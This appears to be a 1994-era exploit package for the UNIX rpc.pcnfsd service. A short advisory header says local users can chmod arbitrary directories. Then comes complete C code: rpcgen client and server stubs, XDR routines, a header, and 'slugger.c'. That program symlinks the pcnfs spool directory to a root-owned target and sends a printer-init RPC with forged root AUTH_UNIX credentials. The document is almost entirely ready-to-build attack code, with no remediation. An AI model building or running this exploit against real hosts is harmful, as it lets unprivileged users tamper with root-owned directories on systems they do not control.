COMMAND
rpc.pcnfsd
SYSTEMS AFFECTED
Any UNIX running pcnfsd.
PROBLEM
Affect: Local users may chmod arbitrary directories on local hosts
running pcnfsd.
------------------------------------------------------------------------------
/*
* Please do not edit this file.
* It was generated using rpcgen.
*/
#include <memory.h> /* for memset */
#include "pc.h"
/* Default timeout can be changed using clnt_control() */
static struct timeval TIMEOUT = { 25, 0 };
void *
pcnfsd_null_1(void *argp, CLIENT *clnt)
{
static char clnt_res;
memset((char *)&clnt_res, 0, sizeof(clnt_res));
if (clnt_call(clnt, PCNFSD_NULL, xdr_void, argp, xdr_void, &clnt_res, TIMEOUT) != RPC_SUCCESS) {
return (NULL);
}
return ((void *)&clnt_res);
}
auth_res *
pcnfsd_auth_1(auth_args *argp, CLIENT *clnt)
{
static auth_res clnt_res;
memset((char *)&clnt_res, 0, sizeof(clnt_res));
if (clnt_call(clnt, PCNFSD_AUTH, xdr_auth_args, argp, xdr_auth_res, &clnt_res, TIMEOUT) != RPC_SUCCESS) {
return (NULL);
}
return (&clnt_res);
}
pr_init_res *
pcnfsd_pr_init_1(pr_init_args *argp, CLIENT *clnt)
{
static pr_init_res clnt_res;
memset((char *)&clnt_res, 0, sizeof(clnt_res));
if (clnt_call(clnt, PCNFSD_PR_INIT, xdr_pr_init_args, argp, xdr_pr_init_res, &clnt_res, TIMEOUT) != RPC_SUCCESS) {
return (NULL);
}
return (&clnt_res);
}
pr_start_res *
pcnfsd_pr_start_1(pr_start_args *argp, CLIENT *clnt)
{
static pr_start_res clnt_res;
memset((char *)&clnt_res, 0, sizeof(clnt_res));
if (clnt_call(clnt, PCNFSD_PR_START, xdr_pr_start_args, argp, xdr_pr_start_res, &clnt_res, TIMEOUT) != RPC_SUCCESS) {
return (NULL);
}
return (&clnt_res);
}
-------------------------------------------------------------------------------
/* slugger.c
* By Josh D. April 19th 1994 AD
* usage: slugger directory
* where 'directory' is an absolute path to a directory owned by
* root.
* This code requires pcnfsd.x
* pcnfsd must be running.
* if the program doesn't work or gives you errors make sure that
* 'daprinter' contains a valid printer destination.
*/
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <errno.h>
#include <arpa/inet.h>
#include <string.h>
#include <strings.h>
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <netinet/in.h>
#include "pcnfsd.h" /* this should be created by rpcgen */
int main(argc, argv)
int argc;
char **argv;
{
char myhost[200];
int gids[8];
struct hostent *dahent;
struct sockaddr_in daserver;
CLIENT *datsme;
struct pr_init_args daargs;
struct pr_init_res *dares;
char daprinter[65];
char dadir[65];
char dapath[255];
struct timeval tout;
int ranysock=RPC_ANYSOCK;
tout.tv_sec=60;
tout.tv_usec=0;
if (argv[1] == NULL)
{ printf("bad arguments\n");
exit(1);
}
argc--;argv++;
strcpy(dadir, argv[0]);
bzero(argv[0], strlen(argv[0]));
argc--;argv++;
/* this must be a valid printer */
strcpy(daprinter, "lp");
gethostname(myhost, 200);
myhost[200]='\0';
sprintf(dapath, "/usr/spool/pcnfs/");
strcat(dapath, myhost);
if (fork()==0)
execlp("ln", "----", "-s", dadir, dapath);
else
wait(0);
daserver.sin_family = AF_INET;
daserver.sin_port = 0;
{
dahent = gethostbyname(myhost);
if (dahent == NULL)
printf("gethost failed.\n");
bcopy(dahent->h_addr, &daserver.sin_addr.s_addr, 4);
}
datsme = clntudp_create(&daserver, 150001, 1,
tout, &ranysock);
clnt_control(datsme, CLSET_TIMEOUT, &tout);
gids[0]=0;
gids[1]=1;
datsme->cl_auth = authunix_create(myhost, 0, 0, 2, gids);
daargs.pia_client = myhost;
daargs.pia_printername = daprinter;
/* send the packet */
if ( (dares = pcnfsd_pr_init_1(&daargs, datsme)) == NULL)
{ printf("wierd error\n"); }
remove(dapath);
if (dares->pir_stat == PI_RES_OK)
{ printf("Success\n");
if (fork()==0)
execlp("/bin/ls", "-----", "-ald", dadir, 0);
else
wait(0);
}
if (dares->pir_stat != PI_RES_OK)
{ printf("Error: ");
switch(dares->pir_stat)
{
case PI_RES_NO_SUCH_PRINTER :
printf("No such printer\n");
break;
case PI_RES_OK :
printf("Result Ok\?\?\n");
break;
case PI_RES_FAIL :
printf("Generic Failure\n");
break;
default :
printf("Unknown Error\n");
}
}
}
------------------------------------------------------------------------------
/*
* Please do not edit this file.
* It was generated using rpcgen.
*/
#include "pc.h"
#include <stdio.h>
#include <stdlib.h>/* getenv, exit */
#include <rpc/pmap_clnt.h> /* for pmap_unset */
#include <string.h> /* strcmp */
#include <memory.h>
#include <sys/socket.h>
#include <netinet/in.h>
#ifdef __STDC__
#define SIG_PF void(*)(int)
#endif
static void
pcnfsd_1(struct svc_req *rqstp, register SVCXPRT *transp)
{
union {
auth_args pcnfsd_auth_1_arg;
pr_init_args pcnfsd_pr_init_1_arg;
pr_start_args pcnfsd_pr_start_1_arg;
} argument;
char *result;
xdrproc_t xdr_argument, xdr_result;
char *(*local)(char *, struct svc_req *);
switch (rqstp->rq_proc) {
case PCNFSD_NULL:
xdr_argument = (xdrproc_t) xdr_void;
xdr_result = (xdrproc_t) xdr_void;
local = (char *(*)(char *, struct svc_req *)) pcnfsd_null_1_svc;
break;
case PCNFSD_AUTH:
xdr_argument = (xdrproc_t) xdr_auth_args;
xdr_result = (xdrproc_t) xdr_auth_res;
local = (char *(*)(char *, struct svc_req *)) pcnfsd_auth_1_svc;
break;
case PCNFSD_PR_INIT:
xdr_argument = (xdrproc_t) xdr_pr_init_args;
xdr_result = (xdrproc_t) xdr_pr_init_res;
local = (char *(*)(char *, struct svc_req *)) pcnfsd_pr_init_1_svc;
break;
case PCNFSD_PR_START:
xdr_argument = (xdrproc_t) xdr_pr_start_args;
xdr_result = (xdrproc_t) xdr_pr_start_res;
local = (char *(*)(char *, struct svc_req *)) pcnfsd_pr_start_1_svc;
break;
default:
svcerr_noproc(transp);
return;
}
(void) memset((char *)&argument, 0, sizeof (argument));
if (!svc_getargs(transp, xdr_argument, (caddr_t) &argument)) {
svcerr_decode(transp);
return;
}
result = (*local)((char *)&argument, rqstp);
if (result != NULL && !svc_sendreply(transp, xdr_result, result)) {
svcerr_systemerr(transp);
}
if (!svc_freeargs(transp, xdr_argument, (caddr_t) &argument)) {
fprintf(stderr, "unable to free arguments");
exit(1);
}
return;
}
int
main(int argc, char **argv)
{
register SVCXPRT *transp;
(void) pmap_unset(PCNFSD, PCNFSD_VERS);
transp = svcudp_create(RPC_ANYSOCK);
if (transp == NULL) {
fprintf(stderr, "cannot create udp service.");
exit(1);
}
if (!svc_register(transp, PCNFSD, PCNFSD_VERS, pcnfsd_1, IPPROTO_UDP)) {
fprintf(stderr, "unable to register (PCNFSD, PCNFSD_VERS, udp).");
exit(1);
}
transp = svctcp_create(RPC_ANYSOCK, 0, 0);
if (transp == NULL) {
fprintf(stderr, "cannot create tcp service.");
exit(1);
}
if (!svc_register(transp, PCNFSD, PCNFSD_VERS, pcnfsd_1, IPPROTO_TCP)) {
fprintf(stderr, "unable to register (PCNFSD, PCNFSD_VERS, tcp).");
exit(1);
}
svc_run();
fprintf(stderr, "svc_run returned");
exit(1);
/* NOTREACHED */
}
-----------------------------------------------------------------------------
/*
* Please do not edit this file.
* It was generated using rpcgen.
*/
#include "pc.h"
bool_t
xdr_arstat(XDR *xdrs, arstat *objp)
{
register long *buf;
if (!xdr_enum(xdrs, (enum_t *)objp)) {
return (FALSE);
}
return (TRUE);
}
bool_t
xdr_pirstat(XDR *xdrs, pirstat *objp)
{
register long *buf;
if (!xdr_enum(xdrs, (enum_t *)objp)) {
return (FALSE);
}
return (TRUE);
}
bool_t
xdr_psrstat(XDR *xdrs, psrstat *objp)
{
register long *buf;
if (!xdr_enum(xdrs, (enum_t *)objp)) {
return (FALSE);
}
return (TRUE);
}
bool_t
xdr_myself(XDR *xdrs, myself *objp)
{
register long *buf;
if (!xdr_string(xdrs, objp, USERLEN)) {
return (FALSE);
}
return (TRUE);
}
bool_t
xdr_genstr(XDR *xdrs, genstr *objp)
{
register long *buf;
if (!xdr_string(xdrs, objp, GENERIC)) {
return (FALSE);
}
return (TRUE);
}
bool_t
xdr_spool(XDR *xdrs, spool *objp)
{
register long *buf;
if (!xdr_string(xdrs, objp, SPOOLLEN)) {
return (FALSE);
}
return (TRUE);
}
bool_t
xdr_auth_args(XDR *xdrs, auth_args *objp)
{
register long *buf;
if (!xdr_myself(xdrs, &objp->aa_ident)) {
return (FALSE);
}
if (!xdr_genstr(xdrs, &objp->aa_password)) {
return (FALSE);
}
return (TRUE);
}
bool_t
xdr_auth_res(XDR *xdrs, auth_res *objp)
{
register long *buf;
if (!xdr_arstat(xdrs, &objp->ar_stat)) {
return (FALSE);
}
if (!xdr_long(xdrs, &objp->ar_uid)) {
return (FALSE);
}
if (!xdr_long(xdrs, &objp->ar_gid)) {
return (FALSE);
}
return (TRUE);
}
bool_t
xdr_pr_init_args(XDR *xdrs, pr_init_args *objp)
{
register long *buf;
if (!xdr_genstr(xdrs, &objp->pia_client)) {
return (FALSE);
}
if (!xdr_genstr(xdrs, &objp->pia_printername)) {
return (FALSE);
}
return (TRUE);
}
bool_t
xdr_pr_init_res(XDR *xdrs, pr_init_res *objp)
{
register long *buf;
if (!xdr_pirstat(xdrs, &objp->pir_stat)) {
return (FALSE);
}
if (!xdr_spool(xdrs, &objp->pir_spooldir)) {
return (FALSE);
}
return (TRUE);
}
bool_t
xdr_pr_start_args(XDR *xdrs, pr_start_args *objp)
{
register long *buf;
if (!xdr_genstr(xdrs, &objp->psa_client)) {
return (FALSE);
}
if (!xdr_genstr(xdrs, &objp->psa_printername)) {
return (FALSE);
}
if (!xdr_genstr(xdrs, &objp->psa_username)) {
return (FALSE);
}
if (!xdr_genstr(xdrs, &objp->psa_filename)) {
return (FALSE);
}
if (!xdr_genstr(xdrs, &objp->psa_options)) {
return (FALSE);
}
return (TRUE);
}
bool_t
xdr_pr_start_res(XDR *xdrs, pr_start_res *objp)
{
register long *buf;
if (!xdr_psrstat(xdrs, &objp->psr_stat)) {
return (FALSE);
}
return (TRUE);
}
----------------------------------------------------------------------------
/*
* Please do not edit this file.
* It was generated using rpcgen.
*/
#ifndef _PC_H_RPCGEN
#define _PC_H_RPCGEN
#include <rpc/rpc.h>
enum arstat {
AUTH_RES_OK = 0,
AUTH_RES_FAKE = 1,
AUTH_RES_FAIL = 2,
};
typedef enum arstat arstat;
#ifdef __cplusplus
extern "C" bool_t xdr_arstat(XDR *, arstat*);
#elif __STDC__
extern bool_t xdr_arstat(XDR *, arstat*);
#else /* Old Style C */
bool_t xdr_arstat();
#endif /* Old Style C */
enum pirstat {
PI_RES_OK = 0,
PI_RES_NO_SUCH_PRINTER = 1,
PI_RES_FAIL = 2,
};
typedef enum pirstat pirstat;
#ifdef __cplusplus
extern "C" bool_t xdr_pirstat(XDR *, pirstat*);
#elif __STDC__
extern bool_t xdr_pirstat(XDR *, pirstat*);
#else /* Old Style C */
bool_t xdr_pirstat();
#endif /* Old Style C */
enum psrstat {
PS_RES_OK = 0,
PS_RES_ALREADY = 1,
PS_RES_NULL = 2,
PS_RES_NO_FILE = 3,
PS_RES_FAIL = 4,
};
typedef enum psrstat psrstat;
#ifdef __cplusplus
extern "C" bool_t xdr_psrstat(XDR *, psrstat*);
#elif __STDC__
extern bool_t xdr_psrstat(XDR *, psrstat*);
#else /* Old Style C */
bool_t xdr_psrstat();
#endif /* Old Style C */
#define USERLEN 32
#define GENERIC 64
#define SPOOLLEN 255
typedef char *myself;
#ifdef __cplusplus
extern "C" bool_t xdr_myself(XDR *, myself*);
#elif __STDC__
extern bool_t xdr_myself(XDR *, myself*);
#else /* Old Style C */
bool_t xdr_myself();
#endif /* Old Style C */
typedef char *genstr;
#ifdef __cplusplus
extern "C" bool_t xdr_genstr(XDR *, genstr*);
#elif __STDC__
extern bool_t xdr_genstr(XDR *, genstr*);
#else /* Old Style C */
bool_t xdr_genstr();
#endif /* Old Style C */
typedef char *spool;
#ifdef __cplusplus
extern "C" bool_t xdr_spool(XDR *, spool*);
#elif __STDC__
extern bool_t xdr_spool(XDR *, spool*);
#else /* Old Style C */
bool_t xdr_spool();
#endif /* Old Style C */
struct auth_args {
myself aa_ident;
genstr aa_password;
};
typedef struct auth_args auth_args;
#ifdef __cplusplus
extern "C" bool_t xdr_auth_args(XDR *, auth_args*);
#elif __STDC__
extern bool_t xdr_auth_args(XDR *, auth_args*);
#else /* Old Style C */
bool_t xdr_auth_args();
#endif /* Old Style C */
struct auth_res {
enum arstat ar_stat;
long ar_uid;
long ar_gid;
};
typedef struct auth_res auth_res;
#ifdef __cplusplus
extern "C" bool_t xdr_auth_res(XDR *, auth_res*);
#elif __STDC__
extern bool_t xdr_auth_res(XDR *, auth_res*);
#else /* Old Style C */
bool_t xdr_auth_res();
#endif /* Old Style C */
struct pr_init_args {
genstr pia_client;
genstr pia_printername;
};
typedef struct pr_init_args pr_init_args;
#ifdef __cplusplus
extern "C" bool_t xdr_pr_init_args(XDR *, pr_init_args*);
#elif __STDC__
extern bool_t xdr_pr_init_args(XDR *, pr_init_args*);
#else /* Old Style C */
bool_t xdr_pr_init_args();
#endif /* Old Style C */
struct pr_init_res {
enum pirstat pir_stat;
spool pir_spooldir;
};
typedef struct pr_init_res pr_init_res;
#ifdef __cplusplus
extern "C" bool_t xdr_pr_init_res(XDR *, pr_init_res*);
#elif __STDC__
extern bool_t xdr_pr_init_res(XDR *, pr_init_res*);
#else /* Old Style C */
bool_t xdr_pr_init_res();
#endif /* Old Style C */
struct pr_start_args {
genstr psa_client;
genstr psa_printername;
genstr psa_username;
genstr psa_filename;
genstr psa_options;
};
typedef struct pr_start_args pr_start_args;
#ifdef __cplusplus
extern "C" bool_t xdr_pr_start_args(XDR *, pr_start_args*);
#elif __STDC__
extern bool_t xdr_pr_start_args(XDR *, pr_start_args*);
#else /* Old Style C */
bool_t xdr_pr_start_args();
#endif /* Old Style C */
struct pr_start_res {
enum psrstat psr_stat;
};
typedef struct pr_start_res pr_start_res;
#ifdef __cplusplus
extern "C" bool_t xdr_pr_start_res(XDR *, pr_start_res*);
#elif __STDC__
extern bool_t xdr_pr_start_res(XDR *, pr_start_res*);
#else /* Old Style C */
bool_t xdr_pr_start_res();
#endif /* Old Style C */
#define PCNFSD ((u_long)150001)
#define PCNFSD_VERS ((u_long)1)
#ifdef __cplusplus
#define PCNFSD_NULL ((u_long)0)
extern "C" void * pcnfsd_null_1(void *, CLIENT *);
extern "C" void * pcnfsd_null_1_svc(void *, struct svc_req *);
#define PCNFSD_AUTH ((u_long)1)
extern "C" auth_res * pcnfsd_auth_1(auth_args *, CLIENT *);
extern "C" auth_res * pcnfsd_auth_1_svc(auth_args *, struct svc_req *);
#define PCNFSD_PR_INIT ((u_long)2)
extern "C" pr_init_res * pcnfsd_pr_init_1(pr_init_args *, CLIENT *);
extern "C" pr_init_res * pcnfsd_pr_init_1_svc(pr_init_args *, struct svc_req *);
#define PCNFSD_PR_START ((u_long)3)
extern "C" pr_start_res * pcnfsd_pr_start_1(pr_start_args *, CLIENT *);
extern "C" pr_start_res * pcnfsd_pr_start_1_svc(pr_start_args *, struct svc_req *);
#elif __STDC__
#define PCNFSD_NULL ((u_long)0)
extern void * pcnfsd_null_1(void *, CLIENT *);
extern void * pcnfsd_null_1_svc(void *, struct svc_req *);
#define PCNFSD_AUTH ((u_long)1)
extern auth_res * pcnfsd_auth_1(auth_args *, CLIENT *);
extern auth_res * pcnfsd_auth_1_svc(auth_args *, struct svc_req *);
#define PCNFSD_PR_INIT ((u_long)2)
extern pr_init_res * pcnfsd_pr_init_1(pr_init_args *, CLIENT *);
extern pr_init_res * pcnfsd_pr_init_1_svc(pr_init_args *, struct svc_req *);
#define PCNFSD_PR_START ((u_long)3)
extern pr_start_res * pcnfsd_pr_start_1(pr_start_args *, CLIENT *);
extern pr_start_res * pcnfsd_pr_start_1_svc(pr_start_args *, struct svc_req *);
#else /* Old Style C */
#define PCNFSD_NULL ((u_long)0)
extern void * pcnfsd_null_1();
extern void * pcnfsd_null_1_svc();
#define PCNFSD_AUTH ((u_long)1)
extern auth_res * pcnfsd_auth_1();
extern auth_res * pcnfsd_auth_1_svc();
#define PCNFSD_PR_INIT ((u_long)2)
extern pr_init_res * pcnfsd_pr_init_1();
extern pr_init_res * pcnfsd_pr_init_1_svc();
#define PCNFSD_PR_START ((u_long)3)
extern pr_start_res * pcnfsd_pr_start_1();
extern pr_start_res * pcnfsd_pr_start_1_svc();
#endif /* Old Style C */
#endif /* !_PC_H_RPCGEN */